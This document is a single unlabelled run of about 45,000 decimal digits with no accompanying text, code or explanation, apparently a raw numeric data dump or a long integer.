099242870410657495562398210835799908306085946550247842211564808823607845907775863991269159553159432156551300033967117317226976773731355790152497532779074087602276682848718803737236308037610203611265861246688477670151405142805312234256682061456162596805918791461464090848925061280498916933649629521462631094322126339478248606419321649321794946220524080251727546678179155863710852516999889792142069425252338119691530086927204514443138743060638608594943276946070931704683634404506826766262219751089423659977066125486529623397887624684943403984298873090029315114036501901912255424116770296093432876244502328118460394081893038907682757307622319792009770054981791553403258414077825405282993200586455696175312706806914812687421643576772705310897653200108267260070514148182825232355646375370633126187247655637426753188378858310109072153689162879743190865914658569290513482178493370666910240947566051201104035130572161093383231430538418029569623160974361942950568054796693551270199225699809877280451598990742042184673050645286131177837082638197399186388904555469127860011439682374936795179831299995992458629483580661296650034771435144224923530452290533098559299324025791685200223458263582987334981611017197354292103718138081652223848936998591647345738682594139507138969866646438066132467931576805237300291725059766181377993940905887623511169458454305939048464303288315313972458476481376332940089558810853424225301642286156946652623449118356568676748027757305750665568690012201118119638470035763337929358409193389159832443475262905005960413656526849806257813049027420004496283507505392733816937063859729800447401197176177621563496524921717692148035164063834712238257048413547516626286530058098632158121757602004638591131570399564911945337369641897552925264931088552935566249981710806970414398451029194204509626852208896006442737850488739393402652447350875972066577579989730474786576526425145597233158088979536291273520539497747391465606749828679614358103887045352974116776758252603360358260918538483572409582779346859545870537629289445022701472336333624179166247315717242806858767399892928903788943830301827651762906435548296866710688363468411589292983695556185812518442123524715365390179683451899378737392110657599520877709754686495041134855671415157097993707242420948003987965039969717142957360820867464342827987933531499233834386875182239197608546448864937320261067812893642869353335070303797881069150962740924950987673292411537985987981291447589694268176261720414849702687529712643718333320395869941556133335041808226820429600749061214291315494054069137703670542516412818474882568468114219687133168718217737103601008918073110617104454453645398970176068223081611208134021104102924032287186322411738757925539695337342439316890819086798200816987952684956538054468371540034531430064672599466564962111659850485245420081651694169244520130221129153717596616064089190576601781855678676611142481486537782340702074608747889533820831176033186121569928910631174947572119785326139106049122907524322366086479702806553829493154215948443868524879077878922039751419820820621094088658951041062315475802871532975159374433416508147614581791285538030846450138783199647253055423749799189501707695279693814602455016216098068674405552420775901196576496526637080271184863993780559155362742390226613646255694822083643227926255669436308039729911065953391016371838127445648492097064784347055652836648905150077198450965484726144958236301093207666849885919653761105213924372706443734510832747701353090640751099589063549836603113289229720108911294151849251626390252568114948157667862703150843020065840860919933258018712057097719287827698404447730522685342112034595878154549432863998628850334749001726610870171569453174628166151405547392942508556282055316399818388644821238725333745918980629737167383305647736553672345012498664950187425575420602042470306183242229564182405135092018811747586860017280154536976406078722952326979809620135800654915981447697198103051584195803001927053724154532144309478843927955574432296417376426772246263233636815816285278264480491805285007527299722947079293052982277908983802899692485295348109209406851508369971966316895220556774749924040476025445670934193687236502190649732344454761156343153504768087554973943487087952756922097165027536059298589116290081949337644012551898117258100006122291436721171065500664612795527284115020572822799619721093934844766235885636151753132159013267157073916742060915678589947895954329153634523474388497052301652578743021342191751493963155227426937809557623812506183749678949308544801501058332401885749235769706376090358434627957183306394012887278372853740272532371937539452269801586374975021389139973537578487694576205677974380768311738871950730399427739745023894137917104955454836721790436650191723096408863877024036642753021359973929792562204534173719651311761498474269241683722494308033372827292639473716270119341833286714417792849187887456065037749483472889105810164898337692419328518160890323304070062991716285824201459940334745660965839018057443722679583612345282841352184524925434977309778508105651493745946891334850483534690553764480863049100460185578168609768294572768996356680211161601836596685620394297317243189088745261078775716520803221802970931323082629244001093671346944814797583835267571208594605311534901296637127299004763390511106755761206586240767587968783665189750339889402117622891849386505949146491263929502790209376753140234463917488082911938375748040232517758504033983268825061549686427284644552447675626583825937656741095177563711748209969221175290550195135427606786244133186887905177360088606372576493262969736968518911473397537765560311298174390475869574235547448845954347417545520933765985577546282023193888659790306546767482520064883820448590941267598903246924296500980388665015299320897162377052493644680012810857054287231148249428791352347602735547874230230352027203810386614586067027863959241849458688318570051698378893651264656647949311074390914753460134317993541395490425967254350941833643980354898525303012984796842701752971422250505057978203966349736021488190945961126781500449014292989931145954560764373389621045873238498549166825589377765131567440909422334619746035734664988429435618478278981732823010007209356016226426238746680548545221202608976858747850726680464632182674100860131670348586631589839505388847454430408139713917868358372341723560901631565091971542981979274075963167305405046375321652753738094601419890720877887720813200364928173162151419827710046659205864852496217798957430031698315310318256855148396208439117194936196045932333241431742371919238822943945559075625686793724965456131726176867280816632587252607820627134792970882720481815150463964314016900379692433211101821766990692657408700942049706390470414129521614274840871531604260359205045639696781789202719107094429412539018491075404732887864013873963682682022329494188545405986835597374845706956076349414754376683155266124497878545930903125004795921411100438710191547866912897656047940771805616449925386667829472634580948973821017113790897074383448699247726964417999026214921175971901982220871399018387286768075617445021864841628994966411515908246223348267201951295147896956237527195825735595761684360698867871811832468600146169556969934526757044557344580093640752755095060187050956509124283420565211429350393824122572790384139649861514190168341342202087542904850380269176914852777261329914819636968917742747585790356010913141642886585816403030208402447843642800875535776492472907680966289297428820908610198876722741055005944179246275490013133056864859054785063042923493793211113623875816935222872840135227269455102305089218237994180316713589253356167954229113818215364729982523247364812749618608907664287433029604438318708502885744830505267549830963189765534107604469590048101103527437318382163343384165246151587889861000518345120030265592908061863975754266952039568477771956803413282942350158663697949935920162611962598746346945831485598236854122877758956019994459017535680104415056413546437301259430399151619986695392411939117387356789391818488018984540306157964578218852766758262156337100612629274511818442936598264963875191582753848163037844207920267968016413295094518593843667785482915124305066942278929359014850731500231026468988275702693792653362667891170269608053841549210573770240907192834533061114510815418725305236363027634644844121838102990741892417195448594643907688707011298644689930501042750029849424569439948167081534395114571341453448457567528325051999445406365812688702349455883649837977585091221597259872252665833475820741525600232319068537428322109891906362901388046173278883369326656896293757543983979547213405232560222121644803295571714215763968954223659175045573092146688894495880841340608702139393803751398732135186802821519411025128771110345132298388215485117813595950252516804627738649869085884705420702169197031276539566205857090059442419769479258677888541944464118538742348711199200864286418718457226400186746358877070522600620724005049270594281590897054703726201232695641791325679555639597918688399339967019439047987737706896975507475613708875301962102705173302151060232051615030274787491627645647528894544537739453924065966152628547429277449066574869494051007156035427274108776252173844474063915653761848308939408258388627826716061643138281759055668955819455121131824470233147077289039375534614184755457253001060246152600174914267480356140518824721522281651595582623513737204197768016793140726519759699727797761699443543231547739315459176064640867116713037730158166509647471323261451657448143982645679985049873257487201596912979842557174835401460007221463594685315450280543650068001302431132072075857799835898150939976912942270841235146255337447328128351364497690820535232498497476269986381749534083830733208933218776024355080590927297341909297017783316092852134373186881197364084210555966920894700719872518597673353685348957395632217512479324206287639810488754762724965674988811543196286086082550361269493413545176434331699653355588479137421821010056143817258209173345310753579114584793489052053020075308172130657037733886846170669840536842333040175493579843592253248721746701166318960121078949269073355686520308886060920285371163228690993837760561059932859134796430764379341166736494708244394067424868196674691072208318879714419171326293736673026906299924950439206122732342867005269152306251423678215756489893085985343875869586213429194050138462868811002792954508844549900238793935910994611705249749761200042648460759466580123925092899230161058931492696277392711594523214139694987109818462999477232447983279957224818445164499248366842350114849032934468028271482524240969567300406084593100048109689977296181122781443586676098567087789971737956507666170645034956789020310562163705683928167547979313395374627645704679996466887595169344541571821730676150013344819653719801527484101837668789580498035611418592628803895840532222132920027154108624388621872535370603133212279741132546980009627354973304932669898300205137510533744228882512383608992620401306268498880652402511069956770989709996895601174498036896371706490144783418346819564807371279965172917361280845496012006016547817497749312979626602214470959823981039394845665462560898679086419862095184559954253147750003814594597721635384146834510849155231368717475448653791764641658490039170576177875389736941371747001951641432739661570093553669152041387715249570854253842224882602088858662406696160782946126838417346048232058853669260352091343927649018957138175224771787423833312701403094667591437034717388249912813252551719218396450934762398010016991511374344349192210488710335300128785490542503332949256800155966628990768204222372701371381086917132796456616800859731899933925927662818106075383980523549326817367066563737983544457751615178708186371873100318500368298371377868355193957585197480875670916879968314122373808682931907998371957540778949813876804620247364582684421946165027878196296206297553540273905553220788568075970678603911146501292799559005219850672438108968069536070292381035076550883823055431044914374500078758468092954504108236547228625486690684520996669371816806272162736043335034253366861854433324747191069975725972509694802879139267905272804001679902553078199603768579063502095817924902683001111332122135280989755725626927738657374473205770783518229590802121057601251235749861907843816957751734855121924618299962968081925516660224678342156595594454164635626161022766198396730548670593553417607945660582651107947530062924924675924876586313608359023045697526288354214455068926982830603769449208082915371479980707239276829953406258712024988502126433606693453080870327341863299304909269893017124984609589969991380443143146365589491214170534498577107478753940627350677948119936789945944223468780638721882355538682358788481863448290833603743578785078578957750515745781577012163626482707153685660403582608813734177661232182014292941037279718765164313678395895293444660632052217310020542858791543228935740854044008250194156275041164578337234065859910350755931192876737491384378158811931781541379790124356217619811753923858114835392954470335582553099067439745549766117787062433536109982650819368347196859822427777936899010472619340227855589192560608103629059984907430124287087167952879826798053287517725748871044826656609243270011168773690326141199392571981470281079248907520010883547248299696201277185253411119403762202096836458400655415124074118697386064484163084154533369500210432884174510557510571671930308101957708534783730737718550024179674958721841804220611905410153377249362695920936794413517292321226253889785734849883969634387906262279860090227949199259562362442320139112765077625899333514732418214490379540380667789847767127932603722422833500630216259159836501273220613961137157423258638048475565408498798357572312909361949915950545615176447689307380883109992884713200357945584969129495961231426658519609095955408092789240897859918293162696857248226295265317103051061710323984497113553027496872973114694242992017054047226375375237239822706013792520845229485796453989331938665920476092437366012592534335695478941216774822824628359833625238357051237690416813664101884276412457520344795232717071172813028254529131539522679496758926682334242015389458192449811029995065684819060208392516406376948945362158348467624459277757688807499653560401483981084640032016441701596719945400429502160236995856025684929716988989128035491569557920268369911206710349681073113400092554071247000124291344665828657786767173644736287257694094404790345727264582692017515630718111151362318948880266341006145039253105349818686796615778387647434605247643412681895170170920762237046379137056415735743327255037802379406779521858366221251724896040356264388496349360861564946585909935561828278018459989426613833892033556553352493884479207199956620888218592965156431606737638594671134108407506354751546783158645727009679673104265137881613223483811021023092910433795947972707338364276071451769956412573127117770436775480535683175350413795625126546880789401696496662143263770077785598023017018675733421313922272001358525673236965015674052367181152119745144043802944796586990485350119625394115394980932536127365110003969962547057425557865785631247883393329764505482247671253476962195651619641568688336513113013396713934436724249766048051612558827339534740849105332680301176035958012351761888841702654621350319576815484601129368237823143585477100999979131545748313281647657378972490931141663638708699580377570209257750972132593225343082140478250682583224375218194356193023539451116741830604828460348125594028749695892159600756020035358743595827942280310458546909053010907364196679620234099222569011858733785425052557537684056293096669998389667561403194885507839370710930819451211127876482768785323516783286235925068162171453008314319284729017280873244605638557011378481847123568064099450579149701117618947831490846325282242031666375359159977461198826640530271100960238994565056893163876923567083776147471350158758764014723304626430179122620439485814245325066656777249625027817071535855826501990417174212450535832729053175094689598084686373414762033074086792685316811618336743673349163079515221617323402639731601738754182943043451636906963766191579446075378534294880928604348333157696440761378996764618724156387374116488882730885585656764704753216102492139943384394514412920585078070607474152633713530505180323021748986227814197055119135616066825956095732442078984439834229692398740474192053844184702356396985335276708044743690861848879703765071881512320286844358907806449318214035518644152373897284149772217831871918751893486382411091003021267875335696574676507533691854448723696339407148424749783176455903521240235633426837966164518803117501935724469132870995039967044311631485781236793427866418776071172528709028322289899806340968913397260438920408970919705431440470447396854209363850443163164852575066663502944273836314224465376668193280217803387321818372368610463171091497384038571335808982696755885036665207333135822016832103468295063168250186937480642990697529168015152529950058663948036688308558767937589990644330139803922872385949426350739242062350638935371953115649525927609592420592462619985861375233618497167777981925332589517654471217570742757889283156843559588619693268567865594626884454247122862901839527550970021083126938381394226052329532255101429113918397204222376791870066080821569457872843361524787643289581148822612672630271984374024731295151985815247449126796193065568783077316222294211295450971838784920264673055689240895999740354138624081798851794879479541062534784899864615183150377890971899252908799285373493503457444862767174676170186032595447781297467941929052683417763402297707665213600857662752941388413210847860652584358036900506981655473267597921484745608591477306245313131020538425263519785122429003175519434426561356724875423006772132453816537655975684323640306129156850468653783485037179988711409253433483119516653848397124569221262490465286986944700504026118919532216862292093406568727260542699995089803868042204750210731077907372509264755013359893511298744875514771135205521968026962745729401693477977742205193605050666495737275214637700340334253318064389959583370179013099967232961094183837118568904498717962173471656434566441415344317972622681412950208102659076690091771023591948933460188383597261593220642319146074578821019880251626579693607894818904725126244067245621396441060077129879793874175031338998065867962355101135107858487300777933210468577784073438176181702615426083755376759619773933510982604261011261633112803697175282376091912164234037088012945879237093593354109615478836819237616375506880942516288025950860733311505160128540906103368310425022235757868078470076206853651366139327220630283706377240967872734430795276315782063074817468031373410335148838989420140852701011325721868699129874621043509684319975284724773160480019726993816850697496212116806521613977306753998167731173618774058312614670609484980000983960792805942886233009343434950798502614007938528786310967307330276624608404884287963486777534483709320559952423649345492630216551611994512155417798922731135506105317900644963159493500904902649464567811901492321712737279343828653991276089054166505378671984841604284687037789610031979872450425793649769434027970994296844943074900826705598769178772752116894695038655115286039482317066683629886250826702303826359839092525988033051995937283046224603576138175564868979457313166389632957294350737253134884453313139031099909712802328581640828079435180701317863042666027630755110540886632909698771892755175687112351568116595783580680411591306407660765223603165787986869263474766808064663375057358460739780678380707044050714969060549314677499732863840199772104161383276375557280847120711344517151064431450162914057499331572253818443807325847680930475322272494684601355582417380684322761091162448717610386214283518563218159029848101947005610524986834310509146426860687646499848304622387651166774804033103032047864520770959804680538163250056225999883877047757220471741715340752538174099842159721247274648384853286263457764197035251749247993090919282211566305737348346152880744796928014671534365305641156084434207763770680195104380118387820330919030704151418911261033067918046912609469472980491805809032240275595403315980444565521789267538210288453050186493612341726470513061840350600424103670674237126653164960377292568742956038913949234907218759636733404642579983876526997700634096684695961113734019371636422838951668016952227217560991682302073027664287851181506520208261856710571661658931965232770077738966800483188134145137785829860154410449338809795220637467681279189805548591042193507057463013871559933771922076933962147129374574400203779985714741930570382405931992634508332142593102436428183542127747222604494749872109817499361757874601557159179693861413731735675341017252847035766456460651591017898034885332791345591603685736387815216199975618699982025337020595790399450135612549568114209873771262244056910802249285117314235526025870707128127417435785543032046904320334875555024667576765292123716847263577727523810233242624984117781827480286032497274962695309566094253833208665547809451571905143986759862430356423731518698561106199279005361026583737550587336416204507375353606504961633099760137832661213988544722489322725285988911301347857340096881155168169935403287187243766512994589030659839612217253644218267985552777296602512775553447093036991868578997935749671074763342127997207139825921523457522422525917142417662527958341974142583015479101240580910144143787735682658196716213095307709052999648453989454853980357854835289480510829524481207691417134436671560556622162306152246014511730352905696268137809148039719471209194273578091973299198938732495560236011851598644299449614757253066543698692384580596418630462353902959526207722605761976308066037915980933516737181833418340690385077778233214247356951641528229788978549113817704435608668365994680697570116332916453937862724669905126749323526466878163872110611027245749335655322840901500647649835155305531873267717718474172930176667546191671775788588297913043798116018254514726772802227748562103763295314253887202316470676169821303117880412102503310948548882393487982899083414431654793343760098115154937049702442601856161897717156526685382798860327653739649128976764364771854436653838844981759806692772303138544021721001639919484241448160356503273538830117893987325067940696992615420798835732916514284779842301554830922319626619463046520372950949296967859861646769815952766807060342940455316886947015112833172222161685561414516088996544959770787890930072572655433719674293098372744487747265394373103579909683203873103330226728693104088816948675229991812320567308509905818542312209403650730503932196930427290887567774077688672618643360247789680644276285234660085147902904732536458088878927541973218552897394841090282300812759866655652226882502331820651761360485850669347446434405128139415876954824735921392341626142829941148721190522043176838428456713801678399998765851161180860682453157887002909877873480569084240847849225564447855395900451849698421968542974366831114416580701898240460208475561586289639007489073979311594862583321848383275839831428156724241020192847214010104877406292533183789967721263580959476430355527138898655255385727997887032551128732634544127360073408270559591569608702505299103891665783588236154878681082282825179707124843287598902814884287899121647199059476769561872798256272902759732148662613270531143078711038656891642293244462321504683446278182360908220522872096687259625233364694303218333774138540867802918075960816024509038904493022386647643634460294741326461020204156419092950081330374468626876959033804921336760353005544095072516987841599110176778319672980537573008080871841971489472660911197674659828507982894720562554524949673140380063131462222045956902562939041413755589861225325904219171663534723327178538591914683987142060517984552925584306788976328659729198496244235581099937546970257804063845940319896372183379358231624254498700911852872327347707736216263987261175001555683296679181400188305491482919170679869294449337791150229866046914326693806483960954420519956977084907683355854234999974803996208204208798093790888610951511240005391027790486832139082677926087928229108162340039553628044065811632887692038722114243330345408654882512461077529246912840161098094233432425004993395655195171293200311447988669799431148484746220224369887965220328664454061949073469552005666354501762114096012737759031741676870603058866791957207041623632068503714710694749902464177710532243911943666072268303132627770194144352438423574598779347832783865630052789751916735323542968979467639513099599525201282008793231328903523495750990116779515990419480813490256433818059123099346905730676287353254181889929519026389884526651722430286299472938799993400649709559651454789421887742810245046454233620252985505382513819786770436751754305152955141346060548138294419945166940726631217049831277374025016826710362243870999404011066836114209305760904761945223246822420163502358666915304636701669398692727585068493630057966455925511776914480043032950842841639550225361618632273269843493340453841668869632606777326189966047557605290900640602367118793078099787854592041546166393948339380996574889040042906081206134455882726251687689945266129342105509009651956298852713718165650995385585980166877956947236052515159221425238535897597300152188996879261022993459680404546619190745262240452506642221768821612039804359188885133552364416306347405582417645671128967959459800173820858155209534237587823652145720346406783224390786974634155070761027771398346804718438379598397007913117624526801587702569109539935171227998028854808490602897688162763107667740600242600919488413605162931981188890953678294345933927267448320804613027710578948768130755846216641362382376468395650430028792336059918095675277772445831459925085017295867281112085376769299844771769973253708686463510872528332912368506298701251465010150578893057137941559553895940130598398865069674591112909507412379707938224939223107909319946730922674344948414384927784833934616525596989102024644497784221522604296981444815163491800238679529216074871260029599712572737270847344300500733136709788150809868369114546205057287075803383925761040553543384346175141333696037130771082277345274532204193148691652867449126718161711817576014400046695241451635950947091148290444009399043717693173240019506247717512567932807319028229788173194052919176457903790974673306883500104419622877343723052118138864869344902924222626406265063225186890570228671323112951271102977366859238286336859403281060778436862576976131021619610388312684492818862419995453586710784025179539006468309468483060078500154625315290713106824600095065823857974955343612077379142276757006613122694788671298253530277532565073277168756601687322363164955178910176342707863608540620992872287041428656825836671476543352061999948189836689075442152436109211936653837961739415636430302495204345998304049233204025981990192678811531479573646408051626750086880390400672590784368944016272994496686127007780899653727974742098704088085869742160118875552317105503113589998381103076635557468457670852250605503882105696419751980426639139344138088796925437819851477169884834379560901506306569027735957657473002114793274475658377710709771689798298522626653181001180934471953736849238105484534328181088304660789761233447980101500053860455496071699976373132044672383702994049944229155742787633771742259869362902139001831758355532908224993787920143795840911851117908005284245573365649920603323819237523307504603341037218062866136740670410438969377734240084841789792027378864698356619995827415774116388456472001788167869506088433889580873419735903849671805706009584248198177036451991241092042609373299040913190853560937308796430034891806196133196633200970381782491882060307772966585847306332471128739203538176919769263733296480377138417168167280788555239761726262383207587402920047725050256736277318440941877809311593894899603689720679129531414834188125978910539168993285277659740258536330871839308881179208696811032149626883421886826349842123228178122466713118275639150067520082870108787737459043032513725757751706702276476239328074736079969213527346992247131159901433179671692761493930548824475961076221237904972990364708633934744272023287722465805056700198907165116737052886607808511085411137730127636484824241538052185398165582746806962164945188364628396574698292869763494465082122639684560317188109799501111719950294381702511163996244172772476854347534944898623570053691905896691780604031011423671881047924108263663825324768219492698601686526011073502840851386157512624797176649781876913724340085257165480493422796194560784878503228387445201335893075016560038720217397306592591649824915796869096196983842578537652651769354349646208150941045126381978866553107620662689098401199874544093360484100004465467569713430340743721765189876306431042183433599695905312767334305937603807369575325699632791249293565680133959451681878548847431691478870220755245970822311860301617845179146828916220335374289362026628449338693523434223046702972806676826263693106494100976173080908261549144829936141896016027330372047453670208903633997696298131851641578927251868002245522094947883320020234539536573688327812382336510097923858118462820997587834391765824155903566747577882940087131162492322014724035598018555725615358661160700493363488454559127884009922757154733122874499029546642955250603933505589085301872242714620835751153990861893511793713329817897120082308056302374800761052007480135084337729464971919746329361845132453918839476726214402835050091283969891123339701332895600105512682356417930513931398400647870214970174603575001707854707044679779970455783806541184005950103228055836820608322989703576924936893278433615350757910667780849571968335971702256138176547442984501518331158457674392580638228781683878735687313606371369965343735586863216081156777285985148584293486831659887947073158712649989121851500827668437677998233516941758756503856915214300796040733968980154194495472506366759120874069268449936779329024563705442586184442995581375366055457140677191899731387108438527234217079852706849532146303510377271052990415971687561999087740292425473933475540591606746711345123374178903878242598142553633379055777224983044064934414604492426327687070455520008415064754884375536861095026884348170944595559578554579586820349000870699845801027177300439750277591413500618347932800848611624706785113746136409211647589148518519025397486335558671183718238983856854358859067702698203386200529066693672556092577045870785316479682214919186351985959507037959793789811226686466911947357209583027408937195317738719531345666286041497066420683746153184649060247241619950981226469151868480786952446536379543650181795229025205856888934890720359840323387624578770682848314663365446027958880041639510825887434091156556544756026413840242715729490045704895051815754115519397639657191033236672226956953523295572588459722292416213953666060677649824970885817698256008202165715646254635755496626493450215655796060305337112107391870978525150542866757387226259443679608946300847314922822506049192561594488352698500795652189118029209935662088303112439363904095161887228414765161798421548000184241148294075378785462179403787936478916714723337915037390660760001187626827436770408998687421293766710550622763870609817162207624090950595509909590680132672169106882139215729908256053065569428250572807716737036338266866952225786972755111055898760604727048446033094388601323781033132369048141978957164164431182742042497995890352772451748802414365421977580538072538174955342294963237166385491015046304260563519241945045076143982173933070690622405920609761927857081738477208256966759636295870776097887771769233929361478718169726358873754082607003661734196112835498507558889608876627101946419043823194676325617138902999273515992752663620144811734113087429756495362471663321346356117518040120431853557463942306017359688034806990005800729775637892191058243157776518754689146688259995428498018191568683170938420413258365978816042729083324612207977658850021375873951524915244961575044165703533627189433483080384018110872218525699091689848285524177772903356583094896479359683855998327495224148084926419995432043158058622796446618164939807970371626633578221615361285287037678970490572473139864611357895850562761595823463245585550969309485743670335656225413829141241571857810731101211499408216370512343698008239560741782434965104534234357463856653694738620771239965198326310707266024362805023702575897221076795693676188829806593324107233850206654168264117486623670327322113977779694416776943349650674521000652229557400167794542059109738349614817640651558825656321379894239491962720193673521318620616663278809482547759227643259329448431279147889937060215388379399478848063062927227537402260584482464729985908410174177204841388627015728957380979936374206167943406305387472498897535844360466025579673421825802190678983299025361809206618634740611800844926378557680316575623627698274224013604146464374309654002276612787950591814526133023028873770871759885923003434561974521490265743837882824396427793273626688444867608987464444827276304606530931731457468985461325501541681431559374040499025205323521850818212951790607245764582143565534442970199362684927321717758342266260826805959090704674948342110369209853514177600051415800065059652959393444998218030747857772651466392460425766420049940496098235172993319776906446860684588681302178796748776495648190618179883285647251715662475232775780127471196606186816711699784505569577394529552654037182825180462842915052127602591908288393759677963984240273237190120305352800563011395360910428570613842272706292748610727110850143832949073622272366732524329105427322665369555379246240437836201159250355200108499796592027869667650083419077062628179335963720396965957603934586951164406271885607918694200855817055835261452066501828844014061249561821561422625954323970809965043293960983005053712597728543843789883993508053771381645753506529376198203759453642250062317396264959766622353457901702692535955154235302377439196813287680762783667121903805957868477712858214355351143121981819717470688307465211710987949211605446144897316409148680839849761833012106327770658143964220389673624718756244838855575445234561424599124832884087637635093076590282991498399883165283108433448407100999612157696154211829528347715879704640387718627108507262941963159950885380035037239889649823396628088362367879204483983645019139445673019330337968606136224055327708713975024740550082855261736758332067327195606229363287856435038246305116464307600456891034774767304449064039742379996320136767851346419733401251350292982593023930978380376714436777460904939316072327275282097196946758067944232824225136483817324655308838372477491869065972090095575941756557004963979994783710955724840404906804973078509650606039416072651758585250537324924179206012909377753489801393349404134845382393586330009397555402619894697969124011568583487813849999922624303000858858534287124564461420626792173265512075501470903981874562383730762211332157389543185664399553073701189518459560407470189945847785562791374474189961027743909525929711888847640764413755989461106858866570234689127089266141922199503980037854214445809655665835224762934273324064484193280792447480122624342273795016999100604153082001204155764791267231544824486783908152882339051571069248936193184922594824542780488281811172192047972415967043945008350342742613937831352716038241275071268421984006295804031221158174368515864844099528335163849316113825625368063220630040823825650951267907439787822194572990879332993330401572402543605465782174664361767991240845587274238018548793651671250981367819644972818595752654563535040371429078446453338467451122335665476375924021525563037461940023552801391956968790305069610502686197423243990144704006891484714136762715157381691088838608008212456049387145965001505222779636789166142172590980957455697678016132625353605131282306632534901366542448853708491427184036976999158509615895354384137098704838806892026297587984275465455389153924716590592853174547109608313239394205156986993824003260990290543652545632081796877846712572539039821583333731854608396814610047732958324277411438340112839054017109016294161853391188343671785009459617020622206437922942323475233006825406297545898515645854015286059528732668315955066013439395226615043279192937132786629898151154143896118036940599007898552460384203661777392131239481283315022070246789362728646616728681561636263064804321993795262164893124128144346101796301096397068053206661477693359154778284947018964211755821302130592115177523672878257506456118145154463759365802357528444960896462284320797956519408929601438536085111033306592643968298478090753726122825557125415861931823410116144134909703849287841623982482580624477144712546054043624763714588895941823197634183449534579225863384692773457431563009738694421145576137047145337676688478025276000568450985140692492345598974792370504624276144504608592787652791992060046224332873777871563329365631354363399458534891175946431316661915336693589257986284244741875064614651961254778310571642365516992897363641236779419304642284494906667930370567275023028440730782504818586287658142273383314256696217322551061313229266346841472384260494271199036246327753822856638297309538983529878293847314904017460738832018792805109538951106349169068287845341830842043696703346310115705636623766588425585633507129727707596675704647682394956469186681996769320452161537489263058021052050048064690226613156718191884895535931621113102080225849786742416776708285392176280805621323984783090682991923790608292571333146350331411888432475030074687922565116009061151202803349613720970522367851997138036180236213766149636809312801198463160899170977601217124154201334302167320869263229793055938143930723677322625684178261351873980389734634034503840266807879840619252562386796696316341081854078470004130457122445442724771336085407312826251807056106298142795068766181283684664146797879718217037297156661139417912769470444560332256155107369780209184060815979834197933779913853160540601127689870983469277358420702754127478195184825427147817014092327358660464589541757672652212713844504430199510906938931936885058406815950307365392595369259506822606974818713888508075088628198756320725879939015688969806963749914207909550534871350762837247302495151719996148604132091974951213785336164181600972856585124452939415192910171631808280313644576090730537970796785058842370214044756184173584820133865502248467496139817274359575482742746872055000126315313458447173247785396839778062834649011228238387643867085436911906000371546036813102436381592267389703821386876485995925284198214309632307164421496728137810774175167019120149775894747225868066128908117606904229763757966585993189394080670438129318529902040855168664664549123018615187133056045947705057249240796452754561477139887795106155829237877675964267512307583980655962879039230082683256285368471861450874770675887090673438632424977356675545268961357349828785016474272168478494907628755235793225715032219564686729210373156188859760193085022926160193445470424888489556437251154189999273763677930352354904405413156625601103243061219254405693550358433624706361885756494634434323423938318165056643632978668842091240696393797890875277185686778357871300585297427433789130956565329328415051078010234687309689139844640297192101904399807690829223782644136687219285070770983444651286027031454131360861355792282003045036084151674323703147952479529074554504843351256563678339032431323834647009738632702869614540020719855082533027601405405723385297621680637271590133781736016714187122157288113368600602886941831851270286909352302490505266703896187149703939827991897902446460054957590446199269706146202686048033681966424806825699116250439196428988284276340493790847081944141094142539188387633503149481767533780281210550439563391976770599624460638601965530359603201396186127972298148884201093105531805664491446098150669782998316874515393607860889108181291652844770223410358934146392138103597279623391306111193507527134018396609710227116822242950945240952185514325829317259191481931317932143545844091844954791141924115493689591137317004846669828293607049028245064957239187229190474416330178433365586141453612873307016262002146258190781721106602295569884187148017650586300521168665376630729829821555475142678092813536184624881634807271451770551932325023097479217647186354791575774824267652263496769835055057802201384649839158563772063645510777862119448560101384243169826439554560095680137053745043071318830082720701302976618164058605803406203743503761942473976618698673582041602859115511704384733796912614231800553678499595035002306519942268665286926435752366095845247216394945957118778891750987836114797219580056722602600117334054014555880678858778825113206415664129078266845110803578491384626569877272926670806572611759185046107657742315373135779996604845021617535528232658993021750304350952496860600845868717344950206102376195812179285835940646391138893682132208978300091205586905477739545273387599362777666927778179175734155431569558242132515330441670066687414185846902002796813219574712530315640726689405368052163845976751766928411979480416830127808924821377753672361800543415270466191448836521693955313613372213245837778362301424181853686642993735482584259982955564182957451529708546649450107469162587252987705078986529770869640765544922041022704454832119131836901979913433509697352161528617222701584074870893862183230295941462178381253080093752166797443787401812516089287803436793950743026051958246432834026638508387514267647654416681542212773916454348986969962721077842403249231216183829028691972582451823009001587047032551241145621854558252203554382594287986176643971839518631447097465058543304651265258685615562125296597667352025603447339334216253606764429178141942233060356500133557379266244533312645206271113528961484609254397221728807352829822796385551146412153912509856182091428658787460763409102983871340454687901629072191997056863956161993608059578689208448808364215451529114189760578480548952852767709031226250017534020419677451518391978317092408043687862660210040602662436880542659376845986529076611888216529056665246153319757390266303907884428557413548693046676423532460812001887812739758921725553194115602973467350548882164519620920021193463671360569628578419641475339405565698167605295035124752934483542267406745697420146396668876995023041765818526951459515987228401298568606097332806763313292784183174805158702062064320957398643802059012396659650819283736378970639648686706230105913775073549290616689969517516238015623493143139546850763714843154043097515977784297718131052147758946333794819760087969935121732406088488337962952249876373116923483946774671222631998474277025722045569675598596352511768070033839258318145680306821813812619094244859017283776408153579738782466020988434059154036442787057176038700402115563108814842776748482309849560450347003751495262164665751819226107580241403826497055431971247214508411629024717601737280398660119023016912905561903269026935048028235350182710566503638937464754873066967335300713054879481367167623278865403840892453199037080378927551114949934761890955685383384792776079506447395109292813740790080294391850756218360708610050976792292933775992115222792393072425154202655423575993545003075746235705928657683910819262578429903761025622141358851967051945228651661932023303554454484806740304548850515141282689505441306973816322101053785709439289621456717036129260929464630918307982372949000693446413653519256061165448608073225308163778715550764633819198415798782240882259277287191067697212519000827022255278290779039250606460865416754993817618223897660120622669894162574018563387876235544738362094056401422011908157331192563192945871537439648526387784520544317144744695385246712297704249317062808623952109597071153911402309446326673870215629277835038592562602107104201039156183841702526238178847004234617354017821526278636195503273837194036185159100265827525027888210387901914904797018104351700493929934882644508211693101722644964385831979041703769234456080492917513320706871998382630922060547647831466106311704400197852325499386173607656525043788048177213286251116026368615390689070522503356219156412646969407372153767080842857424698987841515194162419871075168256217011789479074305002095217743785471351961043901923500195613883159351043545312118095966632746794880887618323837467395763265752853715108712752485024729840713277771970154216362761266793903141103918335296457661151106231028285540717965168171074506280246235580222186902098006671266583967903543030513086616802576193283696702325319096811815634222685415596457646480131650928459273081628954693319389295854133854668633832828766707356961865986835705429904429152201967989191199252986192360686580831016527384643237571644878489806824892517140842314841354430554411646256661860462224310052911593049635006522504674118947846541126468400348109702301611271807645743649695846224932445480797083032042690292692361420302187290366749103326161006988128637355345787581768179826099995600339320876069604097569218211455678770494216263445513930476001854737928365524994711542341985134227263787472253952606554112145527967767075200640925664510945756316345021546233093260666853622472206352289647471458768353412853284670435560853203820623740986821440250356826901591617267971690152149087549931452448823627425